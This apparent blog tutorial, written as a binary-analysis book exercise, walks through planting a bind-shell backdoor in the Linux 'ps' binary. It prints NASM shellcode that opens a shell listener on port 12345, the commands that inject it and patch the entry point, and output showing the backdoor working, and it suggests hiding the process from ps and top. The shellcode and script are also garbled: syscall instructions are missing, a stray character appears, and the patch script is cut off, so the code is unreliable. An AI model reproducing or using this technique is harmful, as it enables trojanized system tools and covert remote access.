Injecting shellcode into x64 ELF binaries
Thumbnail: logo

Injecting shellcode into x64 ELF binaries



Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7.

It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process.

Inspecting the target

Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder.

$ cp /bin/ps ps_teo

And take note of the original entry point.

$ readelf -h ps_teo
ELF Header:
  Entry point address:               0x402f10

We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode.

Shellcoding our way out

We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process.


global main

section .text

  push rax         ; save all clobbered registers
  push rcx               
  push rdx
  push rsi
  push rdi
  push r11

  xor rax,rax
  add rax,57
  cmp eax, 0
  jz child

  pop r11          ; restore all registers
  pop rdi
  pop rsi
  pop rdx
  pop rcx
  pop rax

  push 0x402f10    ; jump to original entry point

  ; socket
  xor eax,eax
  xor ebx,ebx
  xor edx,edx
  mov al,0x1
  mov esi,eax
  inc al
  mov edi,eax
  mov dl,0x6
  mov al,0x29      ; sys_socket (syscall 41)

  xchg ebx,eax

  ; bind
  xor  rax,rax
  push   rax
  push 0x39300102. ; port 12345
  mov  [rsp+1],al
  mov  rsi,rsp
  mov  dl,16
  mov  edi,ebx
  mov  al,0x31     ; sys_bind (syscall 49)

  mov  al,0x5
  mov esi,eax
  mov  edi,ebx
  mov  al,0x32     ; sys_listen (syscall 50)

  xor edx,edx
  xor esi,esi
  mov edi,ebx
  mov al,0x2b      ; sys_accept (43)
  mov edi,eax      ; store socket

  xor rax,rax
  mov esi,eax
  mov al,0x21      ; sys_dup2 (syscall 33)
  inc al
  mov esi,eax
  mov al,0x21
  inc al
  mov esi,eax
  mov al,0x21

  xor rdx,rdx
  mov rbx,0x68732f6e69622fff
  shr rbx,0x8
  push rbx
  mov rdi,rsp
  xor rax,rax
  push rax
  push rdi
  mov  rsi,rsp
  mov al,0x3b      ; sys_execve (59)
  call exit

  mov     ebx,0    ; Exit code
  mov     eax,60   ; SYS_EXIT
  int     0x80

We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on.

nasm -f bin -o bind_shell.bin bind_shell.s


Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code.

./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1

If we inspect the binary once more, we can notice the new .injected section around location 0x800000

$ readelf --wide --headers ps_teo  | grep injected
  [27] .injected         PROGBITS        0000000000800c80 017c80 0000b0 00  AX  0   0 16

Guess what? The value 800c80 is going to be our new entry point.
I wrote a quick and dirt script that patch the entry-point on the fly.

import sys
import binascii

# usage: -filename -new_entrypoint
patch_file_input = sys.argv[1]
new_ep = sys.argv[2]
new_ep = binascii.unhexlify(new_ep)

with open(patch_file_input, 'rb+') as f:

We can test it and. . .

python ps_teo 800c80

. . .we can verify that the new entry point has been modified correctly:

$ readelf  -h ps_teo
ELF Header:
  Entry point address:               0x800c80

After we ran the injected version of ps, we can notice a new listening socket on port 12345:

$ netstat -antulp | grep 12345
tcp        0      0 *               LISTEN      6898/ps_teo

Which leads to the expected backdoor:

$ nc localhost 12345
uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)


Extra stealthiness

If we would like to hide from ps or top we could go even further and revise the whole shellcode to force it alter the /proc/ folder like this or that one.

binary analysis, injection, shellcode, elf

© 2013-2019 Matteo Malvica. Illustrations by Sergio Kalisiak.